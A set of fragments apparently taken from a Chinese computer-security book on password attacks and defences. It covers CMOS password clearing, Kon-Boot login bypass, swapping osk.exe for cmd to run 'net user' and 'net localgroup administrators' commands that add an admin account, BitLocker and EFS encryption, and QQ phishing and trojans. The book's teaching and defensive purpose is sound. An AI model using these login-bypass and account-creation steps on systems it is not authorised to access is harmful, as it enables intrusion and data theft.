    {"text": "利用输入错误 用户输入错误也可能被黑客利用，黑客常常会利用人们在输入的 错误来制作钓鱼网站链接，当用户在输入一个网址时，常常会出现输 入错误的情况，而这些错误的地址可能会被链接到黑客预先制作好的 网站上去。"},
    {"text": "十度分隔法 “十度分隔法”是一个新的词汇，指的是在黑客社会工程学中， 黑客最开始接触的人可能离他真正想要了解的人相隔十层之远，意思 就是说从外围开始了解信息，最后进入核心。"},
    {"text": "例如利用电话进行欺诈，关键是取得被攻击者的信任，通常有两 种选择，一是冒充被攻击者的同事，二是冒充一位可以信赖的专家， 比如执法人员、审核人员或者管理人员。"},
    {"text": "如果黑客的目标是要从员工 甲处获取信息，那么他的第一个电话或者第一封邮件肯定不会直接打 给或发给甲，而是他周围的、与他有一定关系的其他人。"},
    {"text": "1. 穷举法 穷举法对于纯数字密码(比如以出生日期或者电话号码作为密码) 有很好的破解效果，但是包含字母的密码不适合这种方式。 穷举法的 原理是逐一尝试数字密码的所有排列组合，虽然效率最低，但很可 靠，所以又有暴力破解法之称。 因此在面对穷举法时，纯数字密码是很不可靠的，因为即使是完 全穷举，6 位数字密码的极限也只有100万种，如果使用比较强大的密 码破解工具，不出一天即可穷举完毕。"},
    {"text": "2. 字典法 黑客会先制作一个包含常用英文、用户姓名缩写和数字的字典， 然后使用破解软件去一一尝试，直到找出正确的密码，或者将密码词 汇字典里的所有单词试完一遍为止。"},
    {"text": "下面介绍几种提高密码安全性的方法，能够大大提高密码 安全性，降低账号密码被破解或被盗的几率。 不要随便透露密码信息 不要将自己的密码信息随便透露给其他人，尤其是所谓的网友。 申请密码保护 为密码申请密码保护可以为您的 ID 和密码提供多一层的保障， 即使密码丢失了，也可以根据资料将其找回。"},
    {"text": "设置长密码 使用较高位数的数字、字母和符号组成的混合密码，即使使用强 力的暴力破解工具也需要很多天，如果使用了生僻的符号还可以让黑 客字典一筹莫展。"},
    {"text": "定期清除木马和病毒 使用木马和病毒是黑客盗取账号和密码的主要手段，它们可以用 对用户电脑进行键盘记录或者屏幕截屏等方式将密码发送给黑客。"},
    {"text": "尽量不要使用相同的密码 为了记忆方便，有些用户在注册邮箱、论坛的时候常常会设置常 用的账号和密码，这样做是非常危险的，因为一旦你的某个密码被破 解，其他账号和密码也就暴露了。"},
    {"text": "8.2 设置/破解硬件密码 在电脑中可以设置很多的硬件密码，例如台式电脑中的管理员密 码、用户密码和开机密码，用户必须输入正确的密码才能更改设置和 登录系统。 8.2.1 设置密码 在台式电脑中，用户可以设置CMOS密码，创建管理员密码 （Supervisor Password）和用户密码（User Password）。 用户密码启动后，可阻止未授权用户更改CMOS设置以及启动系 统。 管理员密码，权限比用户密码高，可以重设用户密码，设置用户 密码前需要先启用。 设置好管理员密码和用户密码后，可以让电脑在进行CMOS设置、 开机启动时，出现密码输入界面，只有正确输入密码，才能根据所属 密码的权限，继续下面的操作。 1. 设置管理员密码 以台式电脑为例，要设置管理员密码，用户需要先进入CMOS设置 界面。 大部分的电脑在开机时按【Del】键或【F2】键即可进入CMOS设置 界面，部分电脑可能需要按【Esc】键、【F1】键、【F4】键或【F9】 键，有些电脑在启动时会在屏幕上给出提示信息。 进入CMOS设置界面，用户就可以设置管理员密码了。"},
    {"text": "2 进入 CMOS 设置界面后使用键盘上的【 】、【 】、【 】和【 】光标键，把选择条移动到【Set Supervisor Password】选项上。 3 按【Enter】键弹出【Enter Password】对话框，在此输入管理 员密码。 4 输入完毕按【Enter】键，弹出【Confirm Password】对话框， 再次输入管理员密码，两次输入要完全相同。 5 按【Enter】键，即可把管理员密码输入到CMOS参数里。 由于管理员拥有完全权限，可能对系统安全造成威胁，最好能再 设置一个用户密码。 2. 设置用户密码 设置好管理员密码后，用户可以接着设置用户密码，具体的操作 步骤如下。 1 设置好管理员密码后，使用键盘上的光标键把选择条移动到 【Set User Password】选项上。 2 按【Enter】键弹出【Enter Password】对话框，在此输入用户 密码。 3 按【Enter】键弹出【Confirm Password】对话框，再次输入用 户密码，两次输入要完全相同。 4 输入完毕按【Enter】键即可把用户密码输入到CMOS参数里。 接 下来需要把设置保存起来，按【F10】键弹出【SAVE to CMOS and EXIT】对话框。 5 按【Enter】键即可保存刚才的密码设置并自动重启电脑。 当电 脑重启后，再次按【Del】键，会弹出【Enter Password】对话框。"},
    {"text": "3. 开启开机密码验证 默认情况下，台式电脑在设置了管理员密码和用户密码后，不会 自动开启开机密码，这样电脑仍能正常启动，用户需要更改CMOS参 数，开启开机密码验证功能，阻止他人的未授权使用。 设置管理员密码和用户密码后，开启开机密码功能的具体操作步 骤如下。 1 开机按【Del】键进入CMOS设置界面，使用键盘上的光标键把选 择条移动到【Advanced BIOS Features】选项上。 有些电脑的开机密码设置没有放在【Advanced BIOS Features】 选项里，用户可以在CMOS 设置界面查找带有 Password 字样的选项， 一般开机密码有System和Setup两个参数，前者是开机密码，后者是 CMOS设置密码。 2 按【Enter】键进入【Advanced BIOS Features】选项，再选中 【Password Check】选项。 3 按【Enter】键弹出【Password Check】对话框，用上下光标键 选中【System】选项。 4 按【Enter】键，【Password check】的参数将更改为 【System】。 5 按【F10】键弹出【SAVE to CMOS and EXIT】对话框。 6 按【Enter】键即可保存刚才的密码设置并自动重启电脑。 当电 脑重启后，会出现【Enter System Password】对话框，只有输入正确 的管理员密码或用户密码，电脑才能继续启动。 8.2.2 破解密码 如果用户记得原来设置的密码，可以进入CMOS 设置界面来清除密 码，在出现【Enter Password】对话框和【Confirm Password】对话 框时，直接按【Enter】键不输入任何字符，然后保存设置即可清除原 来的密码。"},
    {"text": "以台式 电脑为例，CMOS密码主要有两种类型——Setup和System，可以采用的 破解方法大致可分为软件和硬件两大类。 1. 软件破解 如果电脑设置的 CMOS 密码类型是 Setup （即只保护CMOS参 数），此时仍可以正常地进入操作系统，用户可以使用软件来清除 CMOS 密码，常用的软件有很多，如CMOS密码清除器、Biospwds、BIOS 密码探针、CMOS密码工具和CMOS De-Animator等。"},
    {"text": "它们的使用方法都很简单，界面上通常只有几个按钮，用户只需 单击即可清除密码。 CMOS密码清除器 程序运行后，界面非常简单，只需单击 按钮即可。"},
    {"text": "Biospwds 运行Biospwds程序，单击 按钮，即可显示出管 理员密码和用户密码，程序显示的密码是通过计算得出，可能和原来 设置的不一样，但仍然有效。 Biospwds程序只适用于使用 AWARD BIOS的电脑，如果电脑使用的 是其他版本的 BIOS，程序在运行时会弹出错误提示。"},
    {"text": "单击 按钮，程序会恢复CMOS设 置，确认操作后重新启动电脑时，会提示CMOS需要重新设置。 CMOS De-Animator CMOS De-Animator 是一个CMOS复位软件，运行在 Windows 下， 不需要管理员权限，能清空所有的BIOS设置。 2. 硬件破解 如果电脑设置的 CMOS 密码类型是System，则无法进入操作系 统，软件破解的方法也将无法使用，此时可以使用硬件破解的方法。 跳线清除 大部分的台式电脑上，都会有一个 CMOS跳线，用户可以使用这个 跳线来清除 CMOS 设置，把CMOS参数恢复到默认状态，从而清除密 码。 切断台式电脑的电源，拆开机箱侧面挡板，找到主板上的CMOS跳 线。"},
    {"text": "再把跳线插回原来的位置上即可清除CMOS设置，同时消除CMOS密 码。 放电清除 有些主板上没有设置CMOS跳线，此时可以使用放电的方法。 在主板上有一块 CMOS 电池，用来保存CMOS参数，如果在断开外 部电源时取下电池， CMOS参数将会丢失，从而消除密码。 找到主板上的CMOS电池，一般位于主板上的电池夹里。"},
    {"text": "取下电池，等待一段时间，或者用金属连接电池夹的两个极片。 接着把电池装回去，即可把CMOS参数恢复到默认状态。 使用硬件方法清除CMOS参数后，当电脑重新启动时会出现如下图 所示的界面。 提示CMOS参数丢失，已经加载默认设置，按【F1】键继续或者按 【F2】进行设置。 部分CMOS密码破解软件运行后，在电脑重新启动时，也会出现 CMOS参数出错、加载默认设置的提示。"},
    {"text": "8.3 设置/破解系统密码 在Windows 7操作系统中，微软更新了内核，系统的安体性大大提 升，大部分的系统密码破解和清除工具失效，增加了破解的难度。 8.3.1 设置系统密码 默认情况下启动Windows 7操作系统时，会直接进入系统桌面，如 果给用户账户设置密码，在进入系统桌面前会出现欢迎用户登录对话 框，只有输入正确的密码才能进入系统桌面。 1. 设置系统启动密码 Windows 7系统中同样可以设置多个用户，并为每个用户设置不同 的密码和权限。 以在Windows 7 系统中创建受限用户并设置密码为例 介绍，具体的操作步骤如下。 1 首先以管理员的身份登录系统，单击【开始】按钮 ，打 开【控制面板】 【用户账户和家庭安全】窗口，然后单击【用户 账户】功能区中的【添加或删除用户账户】链接。"},
    {"text": "2 打开【希望更改的账户】界面，单击【创建一个新账户】文字 链接。 3 打开【命名账户并选择账户类型】界面，在文本框中输入新账 户的名称“学习”，根据需要选择合适的账户类型，在此选中【标准 用户】单选钮，然后单击 按钮。 4 至此标准用户“学习”即成功创建，下面为这个新建的账户设 置密码。 打开【选择希望更改的账户】界面，选择新建的用户“学 习”。 5 打开【更改学习的账户】界面，单击窗口左侧的【创建密码】 文字链接。 6 打开【为学习的账户创建一个密码】界面，在紧挨着的两个文 本框中输入相同的密码，然后在【如何创建强密码】下的文本框中输 入密码提示信息，单击 按钮即可完成“学习”的登录密码 设置。"},
    {"text": "2. 锁定计算机 当用户需要暂时离开又不想中断当前的工作时，可以使用快捷 键、启用屏幕保护程序、注销用户账户或者设置从待机恢复需要输入 密码等方式，快速锁定计算机，保护自己的隐私。 按下键盘上的【Win+L】组合键，是快速锁定计算机的方法，系统 会立即进入锁定状态。"},
    {"text": "8.3.2 破解系统登录密码 1. 跳过系统密码验证 Kon-Boot 是一款体积很小的软件，能够跳过 Windows 系统的登 录验证，用户不需要输入密码就能正常登录系统。 使用Kon-Boot程序跳过Windows 7系统登录验证的具体操作步骤如 下。 1 制作带有Kon-Boot启动镜像的U盘引导盘，在电脑启动时按 【F12】键调出系统临时引导菜单，选中其中的【USB Storage Device】选项。 2 随后出现 U 盘引导菜单，选中从自定义镜像引导选项，每款U 盘引导盘的位置不同。 3 出现自定义镜像列表，在命令行中输入代表Kon-Boot镜像文件 的数字“2”。 4 按【Enter】键后运行 Kon-Boot 镜像， Kon-Boot程序将会启 动，在命令行中显示当前的工作状态。"},
    {"text": "2. 破解Windows 7系统密码 在Windows 7操作系统的登录界面为用户提供了一个【轻松访问】 组件，提供了一些辅助工具，包括讲述人、放大镜、高对比度、屏幕 键盘、粘滞键和筛选键等。"},
    {"text": "这些辅助工具在提供便利的同时，也为系统带来了风险，为破解 系统登录提供了条件，黑客只需在此设法运行CMD程序，就能使用net user命令创建用户和密码、改变用户的权限，进入登录系统。 下面以在Windows7操作系统中，使用【轻松访问】组件运行CMD程 序，创建具有管理员权限的账户为例，介绍破解系统登录密码的具体 方法。"},
    {"text": "让轻松访问组件能启动CMD命令 想要在轻松访问组件中启动CMD命令，只需把轻松访问组件中的任 何一个程序使用 CMD命令来替换就行，这样当在轻松访问中执行这个 程序时，就会执行CMD命令。"},
    {"text": "由于Windows 7操作系统对系统文件有着严格的保护措施，因此想 要替换CMD命令需要如下两个条件。 ① 在Windows 7操作系统没有启动前，才能替换系统文件。 系统 运行后会对系统文件进行监护，阻止系统文件的替换操作。"},
    {"text": "4 找到osk.exe程序，选中后单击鼠标右键，选择弹出的【属性】 快捷菜单项。 5 弹出【osk.exe属性】对话框，切换到【安全】选项卡，单击 按钮。 6 弹出【osk.exe 的权限】对话框，在此列出该程序的所有用户 和组以及所具有的权限，单击 按钮。 7 弹出【选择用户或组】对话框，单击 按钮。 8 弹出【选择用户或组】对话框中【一般性查询】选项卡，单击 按钮。"},
    {"text": "11 返回【osk.exe的权限】对话框，选中【组或用户名】列表中 的【Everyone】，然后在权限列表中选中【完全控制】复选框，单击 按钮。 12 返回【osk.exe 属性】对话框，可以看到用户【Everyone】和 其所具有的权限，单击 按钮关闭对话框。"},
    {"text": "在CMD命令中运行 net user命令 文件替换成功后，重新启动电脑，在系统登录界面即可运行 cmd 命令，执行添加账户、密码和更改用户组等操作了，具体的操作步骤 如下。 1 重新启动电脑，操作系统会停止在用户登录界面，此时单击屏 幕左下角的【轻松访问】图标。 2 弹出【轻松访问】对话框，在此有许多的辅助工具，由于我们 替换了屏幕键盘程序，因此只需执行该程序即可打开CMD程序。"},
    {"text": "4 接下来就可以执行net user命令添加账户了，例如要添加一个 密码为“123456789”的“new”账户，可以执行“net user new 123456789/add”命令。 5 刚添加的new用户默认属于普通用户组，我们还需要把它添加到 管理员组里，此时可以使用“net localgroup administrators new /add”命令。 6 成功执行以上两条命令后，即可添加一个名为“new”、密码是 “123456789”的管理员账户。"},
    {"text": "8.4 密码保护 用户可以用复杂的密码策略来保护电脑的安全，例如设置硬盘密 码、BitLocker加密、SYSKEY加密、EFS加密以及为软件设置各种复杂 的密码等。 8.4.1 系统密码保护 1. 硬盘加密 如果用户使用的是笔记本电脑，可以设置硬盘密码来提高系统安 全性。 硬盘密码保护的原理 加密时，笔记本读取硬盘的序列号与密码，运算后把结果存放在 笔记本上的某个芯片中，同时在硬盘中写入密码信息。"},
    {"text": "设置了密码的笔记本硬盘只能在设置硬盘密码的计算机 上使用，清除了硬盘密码后才能在其他电脑上使用。 也就是说，一旦 设置了密码，即使拆下硬盘挂接在其他电脑上也无法读取其中的内 容。 设置笔记本电脑硬盘密码，可以防止硬盘被安装到其他机器上而 泄密。 设置硬盘密码的方法也很简单，只要开机进入BIOS设置程序， 进行相应的设置即可。 设置硬盘密码可以获得很高的安全性，但用户一定要牢记所设置 的密码，最好用笔记在纸上，因为一旦遗忘就意味着硬盘报废，所以 不推荐个人用户使用。 硬盘密码与其他密码的区别 对于硬盘内的数据，只有硬盘密码才能起到保护作用，而无论是 开机密码、管理员密码还是用户密码，保护的是电脑本身而不是硬盘 里面的数据。 也就是说，开机密码和超级用户密码只是保护电脑不被非授权人 员使用，对硬盘里面的数据是没有任何保护作用的。 从另一个角度来 看，如果要保护硬盘里面的数据，只要有硬盘密码就可以了。 硬盘密码的设置方法 下面以InsydeH20型号的BIOS为例，设置硬盘密码的具体步骤如 下。 1 开机按下【F10】键（部分机型可能是【F2】键或【DEL】键） 进入 BIOS 设置界面，使用右方向键【→】切换到【Security】选项 卡，然后使用上方向键【↑】或下方向键【↓】选中【Set HDD Password】选项。 2 按【Enter】键弹出【Create New Password】对话框，在此输 入硬盘密码。 3 按【Enter】键弹出【Confirm New Password】对话框，再次输 入硬盘密码，两次输入要完全一致。 4 按【Enter】键完成密码的输入，随后按【F10】键，弹出 【Save & reset】对话框。 5 按【Enter】键，电脑将保存设置并重新启动，随后出现硬盘密 码输入界面。"},
    {"text": "设置了硬盘密码后，在每次开机时都需要输入密码才能引导系 统，使用硬盘中的数据。 硬盘密码保存在硬盘上，即使把硬盘拆下装到其他电脑中，硬盘 密码仍然存在，仍需要输入密码才能正常使用。 有的笔记本电脑把 CMOS 密码保存在CMOS 电路中，可以通过清除 CMOS 设置来取消密码。 大多数笔记本电脑的BIOS密码保存在主板上的 专用芯片中，并有可能在多个芯片内，密码一旦遗忘处理起来会很麻 烦，只能采用破解密码或更改主板的解决方案，否则笔记本电脑将无 法使用。"},
    {"text": "2. 使用BitLocker加密 BitLocker是在Vista中首次引入的功能，利用该功能可以实现对 系统内置硬盘的加密，用于解决用户数据的失窃、泄露等问题。 在 Windows 7的企业版和旗舰版中，Bitlocker功能得到了完善，操作更 简单，还可以对U盘、移动硬盘等移动存储设备进行加密。 Windows 7 操作系统可以为操作系统和数据驱动器（通常为硬盘 上的分区）以及可移动数据驱动器（如移动硬盘、U盘等）提供 BitLocker加密功能。 在为可移动数据驱动器加密时，会在移动驱动器 上写入BitLocker To Go解密程序，供用户在不支持 BitLocker 加密 的操作系统中使用（如Windows XP）。 使用BitLocker加密 使用BitLocker为U盘加密的具体步骤如下。 1选择【开始】 【控制面板】 【系统和安全】菜单项，弹 出【系统和安全】窗口，单击【BitLocker驱动器加密】链接。 2 弹出【通过对驱动器进行加密来帮助保护您的文件和文件夹】 窗口，窗口中显示了可以加密的驱动器盘符和加密状态，用户可以单 击各个盘符后面的【启用BitLocker】链接，对各个驱动器加密，如果 单击U盘【CARD（N：）】后面的【启用BitLocker】链接，就会弹出 【选择希望解锁此驱动器的方式】对话框。 用户可以选中【使用密码 解锁驱动器】或者【使用智能卡解锁驱动器】复选框，也可以两者同 时选中，一般推荐选中【使用密码解锁驱动器】复选框，在【键入密 码】和【再次键入密码】文本框中输入相同的密码，然后单击 按钮。"},
    {"text": "】界面，用户可以选择【将 恢复密钥保存到文件】或者【打印恢复密钥】选项，也可以同时使 用。 4 选择【将恢复密钥保存到文件】选项，弹出【将 BitLocker 恢 复密钥另存为】对话框。 在对话框中选择合适的位置，在【文件名】 文本框中更改文件的名称，单击 按钮即可完成恢复密钥的 保存工作，同时关闭该对话框。 5 重新返回【您希望如何存储恢复密钥？ 】对话框，【已保存恢 复密钥】出现在窗口左下部， 按钮也已经可用了，单击 按钮。"},
    {"text": "7 加密需要的时间与驱动器的容量有关，加密过程不能中止，否 则驱动器内的文件会损坏。 加密完成会弹出提示对话框，然后单击 按钮即可完成U盘的加密。 加密U盘的使用 如果把启用了BitLocker To Go保护的U盘插到装Windows 7操作系 统的电脑中，就会弹出BitLocker 解锁对话框。 如果没有出现这个对 话框，说明禁用了U盘的自动运行功能，为此可以在【计算机】窗口双 击U盘图标 ，打开BitLocker解锁对话框。 用户需要在【键入密码以解锁此驱动器】文本框中输入启用 BitLocker To Go保护时设置的密码，可以选中【键入时显示密码字 符】复选框，显示文本框里原来用“*”号代替的真实密码字符。 用户 也可以选中【从现在开始在此计算机上自动解锁】复选框，当U盘解锁 成功后，在当前系统里可以随意插拔而不用再次输入密码。 密码输入正确后单击 按钮，U盘的解锁操作就很快完 成了，接下来就可以正常访问U盘，复制、编程和创建其中的文件了。 使用BitLocker To Go加密的U盘在Vista和XP中同样可以打开。 加 密时BitLocker To Go会在U盘中增加BitLocker阅读器，通过这个程 序，Vista和XP中的用户就可以访问经过加密的U盘。 把加密的U盘插入装有Windows XP操作系统的电脑中，会自动弹出 【BitLocker To Go阅读器】对话框。 如果没有出现该对话框说明操作系统已经设置为U盘禁止自动运行 状态，为此可以打开U盘 运 行 BitLockerToGo.exe 程 序 ， 打 开 【BitLocker To Go阅读器】对话框。 在【键入密码以解锁此驱动器】文本框中输入密码，然后单击 按钮，就可以在 BitLocker To Go阅读器中看到U盘原来 的文件和文件夹。"},
    {"text": "1 单击【此驱动器由BitLocker驱动器加密保护】对话框中的【我 忘记了密码】文字链接。 2 弹出【使用恢复密钥解锁此驱动器】界面，用户可以选择【从 USB闪存驱动器获取密钥】或者【键入恢复密钥】选项，如果用户把恢 复密钥保存在其他的U盘里，可以选择第1项，否则就选择第2项。 3 选择【键入恢复密钥】选项，弹出【输入恢复密钥】界面。 找 到并打开启用 U 盘BitLocker To Go加密时创建的恢复密钥文件，可 以用记事本打开，从中找到 BitLocker 恢复密钥，把密钥输入或者复 制到【键入BitLocker恢复密钥】文本框中，然后单击 按 钮。"},
    {"text": "4 弹出【您现在具有对此驱动器的临时访问权】界面，用户可以 选择【管理BitLocker】选项。 5 弹出【选择要管理的选项】界面，用户可以在这里进行更改密 码、解锁驱动器等操作。"},
    {"text": "3. SYSKEY加密 默认情况下启动Windows 7操作系统时，会直接进入欢迎用户登录 界面，用户可以使用syskey.exe 程序设置启动密码，在系统启动时必 须输入系统启动密码才能出现用户登录界面，相当于为Windows 7操作 系统多增加了一把安全锁。 在Windows 7操作系统中设置启动密码的具体步骤如下。"},
    {"text": "3 打开【保护 Windows 账户数据的安全】对话框，单击 按钮来开启系统启动密码。 4 弹出【启动密钥】对话框，选中【密码启动】单选钮，在【密 码】和【确认】两个文本框中输入要设置的启动密码，然后单击 按钮。 5 弹出提示密码设置成功的对话框，单击 按钮将其关 闭即可。 6 重新启动电脑，在进入用户登录界面之前，系统会弹出一个要 求输入启动密码的对话框，只有输入了正确的启动密码，才可以进入 用户登录界面。 7 进入用户登录界面后，选择一个用户名并输入相应的密码就可 以正常地登录到系统中。"},
    {"text": "4. EFS加密 用户还可以对文件（文件夹）、驱动器盘符进行加密，防止未授 权用户的使用。 以NTFS分区格式下的EFS（Encrypting File System， 加密文件系统）加密为例，EFS加密是操作系统自带的功能，对用户是 透明的。"},
    {"text": "3 弹出【高级属性】对话框，选中【加密内容以便保护数据】复 选框，然后单击 按钮。 4 返回文件属性对话框，单击 按钮，弹出【确认属 性更改】对话框，默认选中【将更改应用于此文件夹、子文件夹和文 件】单选钮，用户根据需要进行更改，如果想要加密包含该文件的目 录，就保持默认选择；"},
    {"text": "例如用户A 加密了一个文件，那么只有用户A可以打开这个文件。 当用户A在登录 系统的时候，已经验证了用户A的合法性，因此用户A可以直接打开自 己加密的文件进行编辑。"},
    {"text": "备份EFS密匙 在用户重新安装操作系统或删除加密文件（文件夹）的用户账户 前，应该先解密，否则这些加密文件（文件夹）会被永久锁定而无法 打开。 EFS解密的操作与加密操作正好相反，只需登录加密账户，撤选 文件或文件夹属性中的【加密内容以便保护数据】复选框即可。 推荐用户在加密EFS文件时备份密匙，当系统或账户出现问题时重 新导入以获得访问权限。 在Windows 7操作系统中，当一个用户第一次使用EFS加密文件或 文件夹后，系统通知区域会显示一个图标，用气泡形式提醒用户注意 备份自己的密钥，如果用户没有理会这个提示信息，那么以后每次登 录系统该信息都会出现。"},
    {"text": "如果用户找不到备份证书图标或者以前备份的证书丢失了，想重 新备份一份，可以使用“certmgr.msc”命令。 使用“certmgr.msc”命令备份证书的具体操作步骤如下。 1 按键盘上的【Win+R】组合键，弹出【运行】对话框，在【打 开】文本框中输入“certmgr.msc”。 2 按【Enter】键打开证书控制台窗口。 3 在左侧窗格中展开【个人】 【证书】选项，右侧空格中将 显示出系统中存在的证书。 4 选中右侧窗格中的证书，选择【操作】 【所有任务】 【导出】菜单项。 5 弹出【证书导出向导】对话框，接下来用户按照提示和前面介 绍的备份方法操作即可。"},
    {"text": "还原EFS密匙 当电脑重新安装Windows 7操作系统后，用户需要导入EFS密匙， 以便正常地访问和使用经过加密的文件/文件夹。 在Windows 7操作系统中导入EFS密钥的具体操作步骤如下。"},
    {"text": "3 弹出【要导入的文件】界面，【文件名】文本框里显示当前密 钥文件的路径和名称，用户也可以单击 按钮查找并导入其 他的密钥文件，单击 按钮。"},
    {"text": "4 弹出【密码】界面，在【密码】文本框中输入备份该密钥时设 置的密码。 根据需要选中【启用强私钥保护】、【标志此密钥为可导 出的密钥】和【包括所有扩展属性】等复选框（建议用户设置此密钥 为可导出的密钥，以便于稍后备份或传输密钥，否则恢复后的密钥不 允许备份）。"},
    {"text": "5 弹出【证书存储】界面，系统默认选中【根据证书类型，自动 选择证书存储】单选钮，建议用户保持默认选项，单击 按钮。 6 弹出【正在完成证书导入向导】界面，显示证书导入设置信 息。"},
    {"text": "8.4.2 软件密码保护 1. 为Office文档加密 很多用户都在使用微软的Office办公程序，其中使用最多的是 Word、Excel和PowerPoint 3个组件，它们都带有加密功能，可以设置 多种权限的密码，保护文档的使用安全，防止非法用户查看和编辑。 它们的加密方法基本相同，以Microsoft Office Word 2010（以下简 称为 Word 2010）为例，可以把文档标记为最终状态、设置打开密码 以及限制编辑等。 Word 2010的加密功能位于【文件】菜单中的【保护文档】功能区 中。 单击【保护文档】按钮即可弹出权限菜单，在此可以为Word 2010 设置各种密码。 如果一份Word 2010文档比较重要，其中包含有隐私信息、商业信 息和其他需要保密的信息，可以为其设置打开密码，只有拥有密码的 用户才能查看和编辑其中的内容。 为Word 2010文档设置打开密码的具体操作步骤如下。 1 打开Word 2010权限菜单，选择其中的【用密码进行加密】菜单 项。 2 弹出【加密文档】对话框，在【密码】文本框中输入密码，输 入完毕单击 按钮。 3 弹出【确认密码】对话框，在【重新输入密码】文本框中输入 相同的密码，输入完毕单击 按钮。"},
    {"text": "5 接着对文档进行保存操作，此时再打开【文件】菜单，可以看 到【保护文档】功能区中的【权限】状态变成【必须提供密码才能打 开此文档】。 6 再次打开设置了打开密码的文档会弹出【密码】对话框，只有 输入正确的密码才能查看、编辑其中的内容。"},
    {"text": "2. 使用WinRAR程序加密 WinRAR是一款压缩软件，带有加密功能，经过它加密的文件不仅 体积会缩小，安全性也将大大地提高。 如果用户感觉Word中设置的密码不够安全，可以再使用WinRAR为 该文档增加一层密码，这将大大提高恶意攻击者的破解难度。"},
    {"text": "假设操作系统都已经安装好了 WinRAR 程序，下面以使用WinRAR 程序加密Word文档为例，具体的操作步骤如下。 1 在需要加密的 Word 文档上单击鼠标右键，选择【添加到压缩 文件】快捷菜单项。"},
    {"text": "4 弹出【输入密码】对话框，在【输入密码】和【再次输入密码 以确认】对话框中输入相同的密码，建议用户选中【加密文件名】复 选框，对文件名进行加密，以降低攻击者的兴趣。"},
    {"text": "8 当用户双击该压缩文件时，弹出【输入密码】对话框，在【输 入密码】文本框中输入正确的密码，单击 按钮。 9 如果密码正确将打开该压缩文件，用户随后就可以解压并打开 压缩包中的文档了。"},
    {"text": "高手过招 快速保存宽带拨号（ADSL）的账号和密码 对于那些正在使用 ADSL 宽带拨号的用户，他们可能已经会选择 自动保存密码，时间一长就有可能遗忘原来的密码，等到有一天需要 重新建立拨号连接或重新安装操作系统时，却找不到原来的密码。 此时我们可以使用一些小工具来快速找到保存的账户和密码等信 息，例如这款名为“自动保存ADSL密码到D盘”的小程序，就能实现这 个功能。 双击程序图标，稍后会弹出【提示】对话框，提醒用户IP地址和 宽带账号、密码等信息已经保存到D：\\ip_adsl.txt文件里了。 单击 按钮即可打开ip_adsl.txt文件，可以看到宽 带连接的详细信息，包括账号名称和密码。"},
    {"text": "使用Windows PE系统绕过系统登录验证 Windows PE（Windows预安装环境）是带有限服务的最小Windows 系统，基于保护模式运行，包括运行Windows安装程序及脚本、连接网 络共享、自动化基本过程以及执行硬件验证所需的最小功能。 在Windows PE系统中，用户可以不用输入系统登录密码，就能正 常地访问Windows 7操作系统中的文件，虽然在Windows PE中无法直接 使用和运行某些文件和程序，但攻击者完全可以把它们复制到其他电 脑中使用，从而造成信息的失窃和被盗。"},
    {"text": "怎样查看显示为星号的密码 在操作电脑时，经常会碰到一些以星号显示的密码，要怎样才能 知道它所代表的真正密码呢？ 一般可以采用如下方法来查看以星号显示的密码。 显示字符 在一些软件的密码界面会有显示字符的选项，当用户选中后即可 显示那些用星号表示的真实密码，例如WinRAR程序的密码界面和无线 连接的安全界面等。"},
    {"text": "⑴WinRAR加密界面 在WinRAR加密界面选中【显示密码】复选框，即可显示输入的密 码明文。 （2）WinRAR解密界面 在WinRAR解密界面选中【显示密码】复选框，同样能够显示输入 的密码明文。"},
    {"text": "第4篇 网络攻防 本篇将介绍网络方面的攻防，主要讲解QQ、MSN和电子邮箱的破解 与防护，在局域网中恶意攻击者常常会使用ARP欺骗的方式来获取网络 密码，其中就包括QQ、MSN和电子邮箱等的密码…… 第9章 QQ和MSN安全攻防 第10章 电子邮件攻防 第11章 ARP欺骗攻防 第9章 QQ和MSN安全攻防 QQ和MSN是网上用户经常使用的即时聊天软件，越来越多的人用它 在网上沟通、交流。"},
    {"text": "光盘链接 关于本章知识，本书配套教学光盘中有相关的多媒体教学视频， 请读者参见光盘中的【网络攻防\\QQ和MSN安全攻防】。 9.1 QQ安全攻防 QQ是目前国内用户最多的即时聊天软件，也是黑客攻击的目标之 一。 攻击手段主要有社会工程学钓鱼、木马程序盗号、聊天信息查看 和消息轰炸等。 9.1.1 QQ密码安全攻防 1. 社会工程学钓鱼 诈骗是现实中一些小偷经常使用的手段，而一些黑客也将这种方 法用在盗取QQ上。"},
    {"text": "” 如果收到消息的QQ用户按照其中的内容进行操作，如实输入了QQ 号码和密码，那么输入的QQ号和密码就会被黑客盗取。 现在的QQ消息欺骗越来越严重，方式也五花八门，用户一定要谨 慎对待。 腾迅公司很早就宣称，不会以任何借口、任何方式让用户提 供自己的QQ密码、身份证件和密码保护资料，凡是类似信息均为虚假 信息。 目前仍有这类钓鱼性质的欺骗，只不过手段更高明了一些，也不 会让用户直接输入密码了。"},
    {"text": "2. 木马程序盗号 随着QQ版本的升级，QQ的安全性得到很大地提高，黑客手中的暴 力破解工具纷纷失效，但随之而来的是盗号木马的泛滥。 这些木马程 序能随着系统自动地启动，隐藏在系统进程中，极难被发现，部分木 马还能阻止安全防护类软件的运行。 木马盗号原理 木马程序分为服务端和客户端两个部分，木马制作者会制作一个 已经配置好的木马服务端，然后使用各种方法让受害者安装并远行。 一旦木马程序成功运行，首先会保护自身的安全，用一切方法保 障自己的正常运行，或者替换成正常的系统文件，以躲过安全防护类 软件的查杀；"},
    {"text": "当用户在感染了木马的电脑中登录QQ时，木马程序会记录用户的 操作，甚至对屏幕进行截图保存，然后根据服务端的设置，把这些操 作和图片发送到木马制作者设定的邮箱、网站和电脑上。 感染木马的表现 用户在使用电脑时，如果碰到以下几种情况，应该特别小心，先 不要急着登录QQ，而应该检查什么原因导致了这些情况的发生。"},
